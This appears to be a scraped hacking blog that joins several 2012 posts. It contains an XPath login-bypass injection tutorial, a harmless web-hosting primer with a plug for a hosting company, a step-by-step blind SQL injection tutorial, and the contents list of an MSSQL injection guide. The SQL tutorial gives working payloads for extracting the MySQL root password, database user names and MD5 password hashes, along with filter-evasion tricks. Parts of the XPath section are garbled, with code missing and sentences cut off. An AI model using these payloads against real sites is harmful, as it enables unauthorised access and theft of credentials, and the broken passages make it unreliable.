String(//users[LoginID/text()=' " + txtLoginID.Text + " ' and passwd/text()=' "+ txtPasswd.Text +" '])

Now, we type into the LoginID:
abc' or 1=1 or 'a'='b

Thus, also suppressing the need to type in a password, and turns our loginID into a valid one from the database/document in XML. Like:
String(//users[LoginID/text()='abc' or 1=1 or 'a'='b' and passwd/text()=''])

We get a payload/desired input query passed as:
LoginID='abc' or 1=1 or 'a'='b' and passwd/text()=' '

(which can also be represented, logically, as A OR B OR C AND D)

2ND EXAMPLE:

More complex Procedure...

Insecure/Exploitable Code in XML:

for the username query, we place this injection:
' or 1=1 or ''='

As a payload, we get this code parsed and executed by the server:

Tada! Now, We get an output result of:

In other words, we have an instance of

What this does is log us in as the first user in the XML document.

CONCLUSION -
Hope you got something from this article. I will try to write an article on XML/XPath programming in the Future (if time allows).
But for now, learn at your own pace, and explore the depths of this notorious, yet esoteric attack. I also urge you to try a combination or blind injections, when you have time on your hands. For beginners, I hope this sparks your interest and hunger for more knowledge;, which m by the ware, are my favorite here.

Truly doing something fishy,
- NETFISH.

WORKS CITED:

EVERYTHING ABOUT WEB-HOSTING

2012-09-25T02:34:00.002+05:30

EVERYTHING ABOUT WEB-HOSTING

If you're new to the world of creating websites, you might find yourself asking yourself "What Is Web Hosting?". Maybe you have some idea about what hosting is but you're not too sure. Fortunately (for me!), the question "What is web hosting" is a relatively easy one to explain (I think!).

Now before I get into this, I worked really hard on this for all of you! So to all of the people in this world if you look at this and say its too long. Remember reading is the key to everything here, take the time read this tutorial don't over look anything it really makes it easy to understand. If you have any questions let me know!

Web hosting refers to a service that makes your website available to your users. In general, most websites are intended to be viewed by anyone on the Internet, at any time. If you want anyone on the Internet to be able to view your website at any time, you need to make sure your website is running on a computer which is connected to the Internet 24 hours per day, 7 days per week (24/7).

To do this you have two options.

Option 1: Hosting the Website Yourself
Hosting the website yourself means that you will need to have the right equipment, including a web server and a permanent connection to the Internet. You would need to ensure that your Internet service provider (ISP) allows this type of usage too. You would also need to have website administration skills such as managing/configuring a web server, patch management, firewalls, virus protection etc

Most people don't do their own website hosting. Even if they have the skills or equipment, it often makes more sense to hand this task to a third party who can monitor the website 24/7.

Option 2: Find a Hosting Provider to Host your Website
This is the most common choice for web hosting. Using a third party hosting provider allows you to concentrate on developing your website (or whatever else it is you may do), and leave the hosting tasks up to a company who (presumably) specializes in web hosting.

A good web hosting company will provide at least the following services:

24/7 support
24/7 FTP access (so you can update your website)
A number of email accounts (i.e. yourName@yourDomain.com)
Online control panel for managing your website
Online traffic statistics (so you can see how much traffic your website receives)
A robust database management system, such as MySQL or MS SQL. This is so you can add your own database if required
If you require specialized server application software such as ColdFusion, SQL Server, or PHP, you will need to check that the hosting provider supports this.

Once you start looking for a web hosting provider, you will notice there is a very large difference in how much they charge. You will also notice that most web hosts have multiple hosting plans, each at different prices. Any good web host will allow you to upgrade a plan later on if required, so don't feel as though you need to start off on a plan that costs more than you need.

Example of a Hosting Provider
An example of a web hosting company with amazing prices is SolidShell Security

You'll also find that you can get special deals by bundling your domain name with your hosting (i.e. purchasing both at the same time). If you're on a tight budget, deals like this can really make a difference when starting out with your website.

You can also get a hosting plan with an online website builder included. This is perfect for anyone who doesn't want to learn the technical aspects of creating a website.

OK, so now that we've looked at what web hosting is, let's look at the different types of web hosting.

When searching for a hosting provider to host your website, you'll probably notice that most hosting providers have more than one web hosting plan. The plan you choose will depend on your hosting needs.

If you're just starting out with your own website, a shared hosting plan is usually fine. Shared hosting is usually much cheaper than other hosting plans. Unless you have a specific need to hire a dedicated server, a shared hosting plan should do the trick.

Here's more about the different types of web hosting:

Shared Hosting

Shared hosting refers to when your web site is hosted on a server along with many other customers' web sites. Don't worry, your users won't know this - your web site is still configured as a separate web site on the server and can still have its own domain name etc.
It is simply sharing the server with other web sites.

The benefit of shared hosting is price. Having your own server (otherwise known as a "dedicated server") costs a lot more. Unless you get lots of traffic, it doesn't make sense to pay more for a dedicated server.

Dedicated Servers

A dedicated server is a server that hosts only your web site (or web sites). This can give you more control over your web site. It can also help in ensuring that other customers' web sites don't impact on your web site. Using dedicated servers is much more expensive than shared hosting, but if your site receives lots of traffic or you have other requirements (such as extra security requirements), a dedicated server could be for you.

You are able to log in to your dedicated server just as you would log in to your own computer. Once logged in, you can install and configure software as you wish.

Virtual Dedicated Servers
Also known as virtual private servers, virtual dedicated servers are a low-cost alternative to dedicated servers. The web host can put many virtual servers on each machine, therefore reducing costs. When you log in to the virtual server, it appears as though you have your own dedicated server (even though other virtual servers are probably running on the same machine).

Managed Hosting
A managed hosting solution is a form of dedicated server hosting, where you have a dedicated server and the web site hosting provider manages your server for you. Typically, the hosting provider will be resposible for the hardware, operating system, virus protection, patch management etc. You still have total control over the machine (depending on SLA arrangements), and you are still in charge of your own web site content. Managed hosting is usually a lot more expensive, and in some cases, costs will be negotiated between the two parties.

Regardless of which type of hosting plan you choose, you'll want your web host to provide you with a good level of technical support.

Technical support is one of the things that distinguishes a premium hosting provider from a cheap one.

A premium hosting provider will respond to your issues almost immediately and ensure all issues are followed up and resolved as quickly as possible. If an issue can't be resolved it is escalated until it can be. If it's related to an incident, an incident report may be sent to the customer within 24 hours. A job will only be closed once the customer approves.

A cheap hosting provider may wait a day or so before responding. And even then, it might be simply to seek further information about your issue. They might eventually resolve the issue but probably won't ask you if it's OK to close the job - they'll just close it.

A bad hosting provider might not even respond.

Of course, this is a generalization. Some cheap hosting companies are very quick at responding. But you need to be aware that, the less you pay, the greater the likelihood that the quality of the technical support will be lower.

Your technical support requirements will largely depend on how complex your website is. If you have a small, static website, you might only need to contact your hosting provider once or twice per year. If you have a more complex site or many sites, you may find yourself contacting your hosting provider on a weekly or even daily basis. This is especially true if the website is constantly changing with new "sub-sites" being added, or if you have multiple development projects occuring simultaneously.

Online Ticket Systems
Your hosting provider might offer multiple methods of contact. For example, they might offer phone support, live chat, email, or an online ticket system.

Many hosting providers require that all support requests are logged with the online ticket system. Doing this ensures that there is no confusion over what was actually requested, and what the response was. This can be particularly useful on long running requests, or if you need to refer to another support request. A ticket system can also be a great knowledgebase. This can be useful for both parties.

Domain names are a special name that you can apply to your website. Once you apply it to your website, users can reach your website by typing this domain name into the browser's address bar. Examples of domain names are quackit.com, great-workout.com and google.com. You can reach the "great workout" website by typing its domain name (great-workout.com) into the address bar.

Most websites have a www subdomain applied to their domain name so that you can reach the website by typing "www" followed by the domain name (eg, www.great-workout.com). This is done on the DNS server after you've registered the domain name, and has nothing to do with the domain name itself (i.e. you can add www to any domain name). You can also add other subdomains as you wish.

Furthermore, you can reach any page on a website by typing the domain name followed by the path to the page. For example, www.great-workout.com/nutrition/index.cfm

Only one person/company can own a domain name at any time. Therefore, if you want mycompany.com but someone else has it, you will need to either find another name, or make them an offer to buy it. You could also wait for it to expire and hope they don't re-register it, but you could be waiting a long time.

Types of Domain Names
There are more domain names than just those with a .com suffix. There are many other suffixes that can be used, such as .net, .org, .biz, .info to name a few. Most of these have a general purpose, for example, .org was created for organizations, .info was created for information sites etc.

There are also country specific domains. For example, Australia uses .com.au, New Zealand uses .co.nz.

If the .com version of your chosen name is unavailable, another suffix could be available. These are seen as different domain names. For example,mycompany.com and mycompany.org are two different domain names - one company could register the .com and another could register the .org version. The same applies for company specific domain names. Some countries have further criteria that you need to satisfy before they will allow you to register a domain name with that country's suffix.

Choosing a Domain Name
You should choose a domain name that truly reflects what your website is all about. You should try and keep your domain name concise. If it consists of multiple words consider separating each word with a hypen. This will largely depend on how the domain name looks with and without a hypen. It will also depend on the availability of your preferred domain name.

If you find that your preferred domain name has already been registered under all applicable suffixes, you might need to get creative and think of another domain name. At this point, you may also need to consider the name of your website. If this isn't an option, you could try buying a domain name off the current owner.

Registering a Domain Name
You don't actually buy a domain name, you register it. To do this, you need to register it with a domain name registrar. You can choose how long you'd like to register it for. Options typically include anywhere from 1 year to 10 years.

In a sense, you can buy a domain name. You can do this if someone else already has already registered the domain name. What you're really doing though is buying the right to register it. You still need to keep the domain name registered with a registrar, otherwise someone else will be able to register it once it expires.

Many web hosting providers include domain registration in their hosting packages. In this case, you don't need to register it through a separate domain name registrar.

You can register your domain name through SolidShell Security.

Hosting a Domain Name
Once you've registered a domain name, your domain name registrar will probably point it to a webpage that they've configured. This page may have ads on it - that way they can make money from your domain name!

If you need it to point to your website (well, what else would you want to do with it?), you will need to update the authoritative DNS servers to be those of your website hosting provider. Your web hosting provider can provide you with these details. Once you've received them, you should be able to log in to a control panel via your domain name registrar's website. This control panel should have an option for you to update the authoritative DNS servers of your domain name.

Behind the Scenes
You may be wondering how on earth the domain name ends up pointing to your website.

When your hosting provider configures your website, they assign it an IP address. An IP address looks something like this: 202.45.22.13. Your IP address is unique - no other IP address on the Internet is the same as the one given to your website. Now, what this means is that anyone could access your website by typing in the IP address. Technically, you don't even need a domain name. Only problem with this is that IP addresses are hard to remember. It's much easier to remember a nice catchy domain name.

Anyway, after your hosting provider assigns an IP address to your website, you have the option of having a domain name resolve to that IP address. When you enter in the details of an authoritative DNS server, you are specifying which server should be used to resolve that domain name. The authoritative DNS server links your domain name with an IP address. You could have as many domain names as you like pointing to the same IP address. Therefore, you could have mycompany.com, mycompany.org and mycompanys-product.com all pointing to the same website.

As customers of a web hosting company, we expect our websites to be constantly available 24 hours per day, 7 days per week, 365 days per year. Our website visitors expect this too - especially if they're paying customers.

Availability is one of the biggest challenges for hosting providers. In an ideal world, all websites would be available 100% of the time. There would be no downtime - ever.

In reality, 100% availability is a big ask for any hosting provider. There's always a small chance something could go wrong. Hosting providers rely on many factors - some of which may be out of their control. A good hosting provider will spend millions of dollars on their attempts to provide availability, but even then, they may still only be able to offer say, 99.999% availability.

Lets look at some of the things that could impact on availability:

Hardware failure (for example, faulty RAM)
Software failure
Virus infection
Denial of Service (DOS) attack
Network security is compromised (for example, an unauthorised hacker has gained access and decides to do some damage)
Internet backbone link becomes unavailable
Power outage
Fire
Natural disaster (for example, earthquake, flood, hurricane)
Terroist attack
Customer's code is inefficient (or just plain wrong!)
And plenty more...
A good hosting provider will have systems in place to mitigate these risks.

For example, they will have multiple sources of power, from multiple suppliers. They will also have diesel generators in place, just in case all suppliers have a problem. They may even have backup diesel generators, just in case the first ones fail. They will ensure that they have many days/weeks worth of diesel. And, they will have an arrangement with a local diesel supplier, just in case they run out of diesel!

Fault Tolerance
The above scenario is an example of fault tolerance. Fault tolerance means to ensure the availability of a network resource even when there's a major problem. A power outage is just one of the many things that can go wrong.

Hosting providers achieve fault tolerance through redundancy. Redundancy generally refers to having an exact replica of a network resource, ready to go in case the other one fails. Furthermore, there can be no downtime between the first one failing and the second one coming online. For example, a website could be hosted across two servers - each being mirrors of the other. If one server becomes unavailable, a load balancer will detect this and switch all traffic to the other server. The website users won't even know it happened.

In a hosting environment, there are many network devices. There are DNS servers, routers, firewalls, load balancers and more. A good hosting provider will ensure that there are at least two of each of these.

This is fine, but what if you are renting a dedicated server? To provide redundancy, you would need to rent two dedicated servers instead of one. This would effectively double your costs. And how would you ensure content is exactly the same on both computers? You would need some form of replication to keep them in synch. And how would the system know which computer to direct the traffic to? You would need a load balancer - or should we make that two load balancers? And what if you had a dedicated database server...?

So you can see that providing availability can get very expensive. At some point, you need to weigh up the impact of occasional downtime with the cost of availability.

You might decide to wear the risk and verify that your hosting provider has processes in place to get your website back online ASAP in the event of downtime.

99.999% Availability?
Most hosting providers guarantee a certain level of availability. For example, one provider might guarantee 99.8% and another one might guarantee 99.999%. Whether they can keep to their promise is another thing.

A good hosting provider will compensate its customers if it drops below the agreed availability.

You should hold your hosting provider accountable for keeping their availability promise, whether its 99.8% or 99.999% availability. If availability drops below the promised percentage, you should make sure you receive compensation. This might be in the form of re-imbursement, or a credit against your account. If you don't receive compensation, consider taking your business elsewhere.

Of course, availability and compensation needs to be agreed in advance between you and your hosting provider. A good hosting provider will have all this outlined in their standard hosting agreement. However, depending on the size of your business, you might require a separate agreement.

Monitoring
You should be proactive in monitoring your hosting provider's performance. Don't just let them tell you how well they did, find out for yourself.

Now, by saying this, I'm not suggesting that you sit at your computer 24/7, hitting the refresh button, waiting for your website to go down! There are other, more efficient, ways of monitoring your website's availability.

The next lesson explains a better way of monitoring your website.

So we covered what website availability means and we learned about some of the challenges that hosting providers are faced with.

In this lesson, we're going to look at methods you can use to monitor your website's availability. So essentially, you are also monitoring your hosting provider's performance of their availability claim.

Now, you could always check your website by sitting at your computer and continuously clicking the refresh button every 2 minutes, 24/7, 365 days per year, but I think you'd get tired of this very quickly. An automated solution makes more sense.

Automated Monitoring
Automated monitoring is when you have a program set up to automatically check your website for availability. You configure it once, then leave it to do the monitoring for you.

You can either purchase (or write) your own software to do this, or you can outsource this to a third party who specialize in website monitoring.

Website Monitoring Software
Website monitoring software enables you to schedule HTTP requests against your website at regular intervals. In other words, you can configure the software to continuously check that your website is available. You can configure it so that, if the website is unavailable, you receive an alert (eg, pager or email).

There are many solutions available and many allow you to monitor other network devices too - not just a web service.

An important thing to remember when using this software is that, you should always install the monitoring software on a separate computer to the one you're monitoring. Even better, you should install the software on two different machines, then use the second installation to monitor the first. That way, if the machine hosting the monitoring software becomes unavailable, you'll know about it. In other words, you're monitoring the monitor!

Examples of monitoring software includes: OpManager, WhatsUp Gold, and Enterprise Monitor.

Website Monitoring Service
If you don't want to install your own monitoring software, you can use a third party provider. Even if you do want to use your own monitoring software, there are still benefits in using a third party.

A monitoring service provides you with the ability to schedule monitoring jobs against your website without you having to install any software. You simply sign up with a third party service, then configure the monitor via an online form.

Some monitoring services have distributed monitors. They have monitors set up from different places around the world. This can be very beneficial. One of the problems with having your monitoring all in one place is that, if there's a local network issue on the monitoring end, it can appear as though your website has become unavailable. This can provide you with a false picture of your website's actual availability. The distributed model goes a long way to eliminating this. It is highly unlikely that there's a local network issue in say, 7 different locations around the world, all at the same time.

If your website has a database, you will probably need access to your live database at some stage. In fact, you'll need to set it up in the first place!

Most (if not all) hosting providers provide access to your database. Coming to think of it, if your hosting provider doesn't provide you with access to your database, find a new hosting provider!

Many hosting providers allow you to connect directly to their database server using your own database management tools (such as Enterprise Manager for SQL Server). Others don't allow direct connections (for extra security) and therefore require that you use their online tools to manage your database. For example, your host might require that you log in to the control panel and use a tool such as myLittleAdmin, which is a tool built specifically for administering SQL Server databases remotely via HTTP.

Initial Database Setup
Whichever method you're able to use, you will probably need to run scripts in order to create your database for the very first time. You will also need to run scripts to enter its data. In most cases, you can generate these scripts automatically from with your database management tool.

Depending on your hosting provider/plan, you may be able to get them to create a placeholder database for you. You can then upload a .bak file via their job ticket area, or via FTP, and get them to restore the .bak file against the placeholder database. As mentioned, this probably all depends on your relationship with your hosting provider (and how much you're paying them!)

Database Queries
Once your database has been set up, you should be able to do things like run queries etc. You probably won't have administrator access (unless you've got your own dedicated database server), so there may be some tasks you need to get your hosting provider to do.

Database Backups
Depending on your SLA, you might not be able to perform backups. In this case, the hosting provider will be responsible for this. You should ensure that you are able to download backup files as regularly as you like. This might be in the form of requesting a backup from your hosting provider, or they might provide you with FTP access to a copy of the most recent backup files.

If backups are your responsibility, you should take this task seriously and perform backups regularly. Imagine if one day, the database server's hard drive craps out and you lose a year's worth of data?

If you don't have any backups, you're stuffed. If you do have a backup, you can quickly get your database back to the state it was in on the last backup.

Once you've signed up with a hosting provider, you will need to upload your website to the hosting provider's web server. Once it has been uploaded to the web server, anyone from around the world will be able to visit your website.

The most common method for updating websites is via FTP. FTP stands for File Transfer Protocol and is the standard protocol for transferring files from one computer to another. To use FTP, you need an FTP client. An FTP client is simply a piece of software that enables you to transfer files from one computer to another (in this case, from your computer to the hosting provider's server).

If you need an FTP client you can download FileZilla for free. Another option is Coffee Cup Direct FTP, which includes a full-blown HTML editor that lets you edit HTML, CSS, JavaScript, and PHP files directly on the server.

Setting up your FTP Connection
Once you've downloaded and installed an FTP client, you can configure a connection for your website. In FileZilla, you do this via the Site Manager as follows:

Open the Site Manager (File > Site Manager)
Click New (a new site will appear)
Give the new site a name (i.e. the name of your website)
In the right hand pane (Site Details), enter your hostname, username, password and any other details your hosting provider has given you.
Check Don't save password
Click Save

Note that your FTP client may have a slight variation on these steps, but most FTP clients have a similar method for configuring new connections.

Connecting to your Website
The above steps simply configure your FTP client to remember the details of your site so that you don't have to enter these details in every time you need to update your website.

You'll notice in step 5 we selected the "Don't save password" option. For security reasons, you should not let the program remember your password - you should enter this every time you connect. Otherwise, imagine what could happen to your website if your computer got stolen...

To connect to your website, either:

Open the Site Manager (File > Site Manager)
Select your website (by clicking on it)
Click Connect
Uploading your Files
Once you connect to your website, you will see your local drive on the left pane, and your remote website on the right pane. The first time you connect you will need to upload your whole website into one of the directories on the remote site.

In most cases, this is all you need to do. Your website will appear as soon as you type its URL into your browser's address bar.

Some web hosting providers may require that you perform another step before the changes go live. For example, they might require that you run a replication process via their online control panel. This would be the case if the FTP server was on a different computer to your physical website. This provides an extra layer of security to your website.

Blind Sql Injection – Regular Expressions Attack

2012-09-25T02:32:00.002+05:30

Blind Sql Injection – Regular Expressions Attack

-@nu11_()v0!d

This type of attack can become time-intensive because a new statement must be crafted for
each bit recovered. [Wikipedia]

How blind sql injection can be used?
There are several uses for the Blind Sql Injection:
• Testing the vulnerability;
• Finding the table name;
• Exporting a value;

Every techniques are based on the 'guess attack', because we only have two different input:
TRUE or FALSE. Let me explain better...
Testing vulnerability (MySQL - MSSQL):

Let's start with an easy example. We have this type of URL:
Code:
site.com/news.php?id=2
it will result in this type of query on the database:
Code:
SELECT * FROM news WHERE ID = 2
Now, we can try some sql injection techniques, for example the blind sql injection!
Code:
site.com/news.php?id=2 and 1=0

SQL query is now:
Code:
SELECT * FROM news WHERE ID = 2 and 1=0
In this case the query will not return anything (FALSE) because 1 is different from 0; Let's do
the litmus test: try to get the TRUE statement forcing the AND to be TRUE;
Code:
site.com/news.php?id=2 and 0=0
In this case 0 is equal to 0... Got it! We should now see the original news page. We now know
that is vulnerable to Blind Sql Injection.
__________________________________________________ _________________________

Time attack (MySQL)
When you can't see any kind of results, you must use the time attack.
In this example we will try to obtain the password of root user in mysql (if your have root
priviledges on mysql).
BENCHMARK function is used to sleep for some seconds.

Syntax: BENCHMARK(how many times,thing to do).
When you use it in IF statement, you will be able to make time attack in MySQL

Code:
SELECT 1,1 UNION SELECT IF(SUBSTRING(Password,1,1)='a',BENCHMARK(100000,SH A1(1)),0) User,Password FROM mysql.user WHERE User = ‘root’;
Code:
SELECT 1,1 UNION SELECT IF(SUBSTRING(Password,1,1)='b',BENCHMARK(100000,SH A1(1)),0) User,Password FROM mysql.user WHERE User = ‘root’;
Code:
SELECT 1,1 UNION SELECT IF(SUBSTRING(Password,1,1)='c',BENCHMARK(100000,SH A1(1)),0) User,Password FROM mysql.user WHERE User = ‘root’;
Code:
SELECT 1,1 UNION SELECT IF(SUBSTRING(Password,1,1)='d',BENCHMARK(100000,SH A1(1)),0) User,Password FROM mysql.user WHERE User = ‘root’;
And so on until you will see the BENCHMARK running (few more seconds delay). Now proceed with the 2nd word of the password...
__________________________________________________ _________________________

Time attack (MSSQL)
In this example we will try to obtain the username of the sysusers table.
A simple way to generate time delays is to take advantage of one of the biggest database
problems, that have made necessary the development of performance-tuning techniques;
heavy queries. All you need to generate a time delay is to access a table that has some
registers and to build a good query to force the engine to work. In other words, we need to
build a query ignoring what the performance best practices recommend.
Code:
site.com/news.aspx?id=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as
sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6,
sysusers AS sys7, sysusers AS sys8)>1 and 300>(select top 1
ascii(substring(name,1,1)) from sysusers)

Positive result. The condition is true, and the response has a delay of 14 seconds. We actually
know that the ASCII value of the first username’s letter in the sysusers table is lower than
300.
Code:
site.com/news.aspx?id=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as
sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6,
sysusers AS sys7, sysusers AS sys8)>1 and 0 >(select top 1 ascii(substring(name,1,1))
from sysusers)

Negative Result. One-second response delay. We actually know than the ASCII value of the
first username’s letter in the sysusers table is higher than 0.
And so on for all the possibilities:
Code:
[...] >1 and 300 >(select top 1 ascii(substring(name,1,1)) from sysusers)
14 seconds -> TRUE
Code:
[...] >1 and 0 >(select top 1 ascii(substring(name,1,1)) from sysusers)
1 second False
Code:
[...] >1 and 150 >(select top 1 ascii(substring(name,1,1)) from sysusers)
14 seconds TRUE
Code:
[...] >1 and 75 >(select top 1 ascii(substring(name,1,1)) from sysusers)
1 second False
Code:
[...] >1 and 100 >(select top 1 ascii(substring(name,1,1)) from sysusers)
1 Second FALSE
Code:
[...] >1 and 110 >(select top 1 ascii(substring(name,1,1)) from sysusers)
1 Second FALSE
Code:
[...] >1 and 120 >(select top 1 ascii(substring(name,1,1)) from sysusers)
14 Seconds TRUE
Code:
[...] >1 and 115 >(select top 1 ascii(substring(name,1,1)) from sysusers)
1 Second FALSE
Code:
[...] >1 and 118 >(select top 1 ascii(substring(name,1,1)) from sysusers)
1 Second FALSE
Code:
[...] >1 and 119 >(select top 1 ascii(substring(name,1,1)) from sysusers)
1 Second FALSE

Then the result is ASCII(119)='w'.
Start with the second letter... and so on!
-----------------------------------------------------------------

Regexp attack's methodology
This is faster to extract information from a database. With this
you can save a lot of time and bandwidth!
The methodology is pretty simple: we define a range of numbers/chars/spacial chars that will
be matched with REGEXP (MySQL) or LIKE (MSSQL) functions.
Let's start with an example because is more simple to understand.

Finding table name with Regexp attack (MySQL)
In this example we will extract the first matched record of information_schema.tables, you
must know the name of database!
Code:
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables LIMIT 0,1)
We tested the blind sql injection attack, and if we see the correct page, everything is ok.
Code:
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE
TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-z]' LIMIT 0,1)
In this case we know that the first matched record start with a char between [a -> z]
That example will show you how to extract the complete name of the record:
Code:
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE
TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-n]' LIMIT 0,1)
TRUE

Code:
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE
TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-g]' LIMIT 0,1)
FALSE

Code:
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE
TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[h-n]' LIMIT 0,1)=
TRUE

Code:
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE
TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[h-l]' LIMIT 0,1)
FALSE

Code:
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE
TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^m' LIMIT 0,1)
FALSE

Code:
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE
TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^n' LIMIT 0,1)
TRUE
The first letter of the table is 'n'. But are there other tables start with 'n'? Let's change the
limit to 1,1:
Code:
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE
TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^n' LIMIT 1,1)
TRUE
No, there are no more tables that start with 'n'. From now on we must change the regular
expression like this: '^n[a-z]' -> '^ne[a-z]' -> '^new[a-z]' -> '^news[a-z]' -> FALSE
To test if we found the correct table name, we must test something like this: '^news$'.
-----------------------------------------------------------------

Finding table name with Regexp attack (MSSQL)
For MSSQL, the syntax is a little bit more complicated. There are two limitations: LIMIT and
REGEXP are not present. To bypass it, we must use TOP and LIKE functions. See that example:
Code:
default.asp?id=1 AND 1=(SELECT TOP 1 1 FROM information_schema.tables WHERE
TABLE_SCHEMA="blind_sqli" and table_name LIKE '[a-z]%' )
TRUE

SELECT TOP is used to extract the first x record from information_schema table.
In MSSQL, LIKE function is similar to REGEXP function in MySQL, but the syntax is not equal.When you need to grab the second table_name, you must use:
Code:
table_name NOT IN ( SELECT TOP x table_name FROM information_schema.tables)
like in the example below:
Code:
default.asp?id=1 AND 1=(SELECT TOP 1 1 FROM information_schema.tables WHERE
TABLE_SCHEMA="blind_sqli" and table_name NOT IN ( SELECT TOP 1 table_name
FROM information_schema.tables) and table_name LIKE '[a-z]%' )

The second SELECT TOP is used to exclude X row and extract the X+1.
Like in the MySQL example, we show how to modify LIKE expression, to extract the first row:
'n[a-z]%' -> 'ne[a-z]%' -> 'new[a-z]%' -> 'news[a-z]%' -> TRUE
Otherwise MySQL ending, we have TRUE because '%' define any string of zero or more
characters.
To check the end, we must append “_” and verify if exist another character.
'news%' TRUE -> 'news_' FALSE
-----------------------------------------------------------------

Exporting a value with Regexp attack (MySQL)
In this example we will extract a MD5 hash from a know table name (in this case 'users');
Remember: MD5 can ONLY contain [a-f0-9] values.
We will use the same methodology described in the “Finding table name”.

Code:
index.php?id=1 and 1=(SELECT 1 FROM users WHERE password REGEXP '^[a-f]' AND
ID=1)
FALSE

Code:
index.php?id=1 and 1=(SELECT 1 FROM users WHERE password REGEXP '^[0-9]' AND
ID=1)
TRUE

Code:
index.php?id=1 and 1=(SELECT 1 FROM users WHERE password REGEXP '^[0-4]' AND
ID=1)
FALSE

Code:
index.php?id=1 and 1=(SELECT 1 FROM users WHERE password REGEXP '^[5-9]' AND
ID=1)
TRUE

Code:
index.php?id=1 and 1=(SELECT 1 FROM users WHERE password REGEXP '^[5-7]' AND
ID=1)
TRUE

Code:
index.php?id=1 and 1=(SELECT 1 FROM users WHERE password REGEXP '^5' AND
ID=1)
TRUE
Our hash start with '5' in just 6 try!
-----------------------------------------------------------------

Exporting a value with Regexp attack (MSSQL)
Same thing as MySQL and “Finding Table name”. We now continue the search of second char.
An example below:
Code:
default.asp?id=1 AND 1=(SELECT 1 FROM users WHERE password LIKE '5[a-f]%' AND
ID=1)
TRUE

Code:
default.asp?id=1 AND 1=(SELECT 1 FROM users WHERE password LIKE '5[a-c]%' AND
ID=1)
FALSE

Code:
default.asp?id=1 AND 1=(SELECT 1 FROM users WHERE password LIKE '5[d-f]%' AND
ID=1)
TRUE

Code:
default.asp?id=1 AND 1=(SELECT 1 FROM users WHERE password LIKE '5[d-e]%' AND
ID=1)
FALSE

Code:
default.asp?id=1 AND 1=(SELECT 1 FROM users WHERE password LIKE '5f%' AND
ID=1)
TRUE
We have found our second char is 'f' in just 5 try! (This is also the worst case for brute-force)

Time considerations
Take for example the MD5 case. We must export an hash of 32 chars using a blind sql
injection.
You know that there are only 16 chars to be tested (1234567890abcdef);
In an optimistic case, regexp and normal blind need 32 query to be done;
In a worst-case , regexp need 128 query and normal blind need 512 query;

Let's take now a password case. We must export a 15 chars password mixalpha-numeric-special14. You know that there are 76 chars to be tested
(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVW XYZ0123456789!@#$%^&*()-_+=);
In an optimistic case, regexp and normal blind need 15 query to be done;
In a worst-case, regexp need approx 94 query and normal blind need 1140 query;
-----------------------------------------------------------------
Bypassing filters
Below are examples of common filters bypass.
TRIM (NO SPACES ALLOWED):
Code:
SELECT/*not important*/1/*really...*/FROM/*im serious*/users
(open and?
close a comment);
Code:
SELECT(1)FROM(information_schema.tables)
(? parentheses's rules)
Special chars like:
%0c = form feed, new page
%09 = horizontal tab
%0d = carriage return
%0a = line feed, new line
Example:
Code:
SELECT%09TABLE_NAME%09FROM%0dinformation_schema.ta bles
SPECIAL CHAR (NO ', “ ALLOWED):
Usually the ' AND “ are used to input some kind of string. So you can input the HEX
value:
Code:
SELECT passwd FROM users WHERE username=0x61646d696e
Where 0x61646d696e is the hex value of 'admin'
Or also using the CHAR function:
Code:
SELECT passwd FROM users WHERE
username=CONCAT(CHAR(97),CHAR(100),CHAR(109),CHAR( 105),CHAR(110))

Conclusions
1. Is possible make a “combo” attack using “Time Attack” or other;
2. The regexp that you will use, could also be a list of chars like ?

Full Explanation Of MSSQL Injection

2012-09-25T02:28:00.003+05:30

Full Explanation Of MSSQL Injection Contents

Contents
This is the contents of this document ENJOY learning !!!!

    [0x00] - Introduction

    [0x01] - Know the Basic of SQL injection

    [0x01a] - Introduction to SQL Injection Attack
    [0x01b] - How to Test sites that are Vulnerable in SQL Injection
    [0x01c] - Bypass Authentication with SQL Injection
    [0x01d] - Audit Log Evasion
    [0x01e] - (Script) SQL-Google searching vulnerable sites

    [0x02] - MSSQL Normal SQL Injection Attack

    [0x02a] - ODBC Error Message Attack with "HAVING" and "GROUP BY"
    [0x02b] - ODBC Error Message Attack with "CONVERT"
    [0x02c] - MSSQL Injection with UNION Attack
    [0x02d] - MSSQL Injection in Web Services (SOAP Injection)

    [0x03] - MSSQL Blind SQL Injection Attack

    [0x03a] - How to Test sites that are Vulnerable in Blind SQL Injection
    [0x03b] - Determine data through Blind SQL Injection
    [0x03c] - Exploit Query for get Table name
    [0x03d] - Exploit Query for get Column name

    [0x04] - More Dangerous SQL Injection Attack

    [0x04a] - Dangerous from Extended Stored Procedures

    [0x04b] - Advanced SQL Injection Techniques
    [0x04c] - Mass MSSQL Injection Worms

    [0x05] - MSSQL Injection Cheat Sheet

    [0x06] - SQL Injection Countermeasures

    [0x07] - References

    [0x08] - Greetz To

    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-
    Not Fully Written By me
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-
    Edited by - nu11_()_v0!d
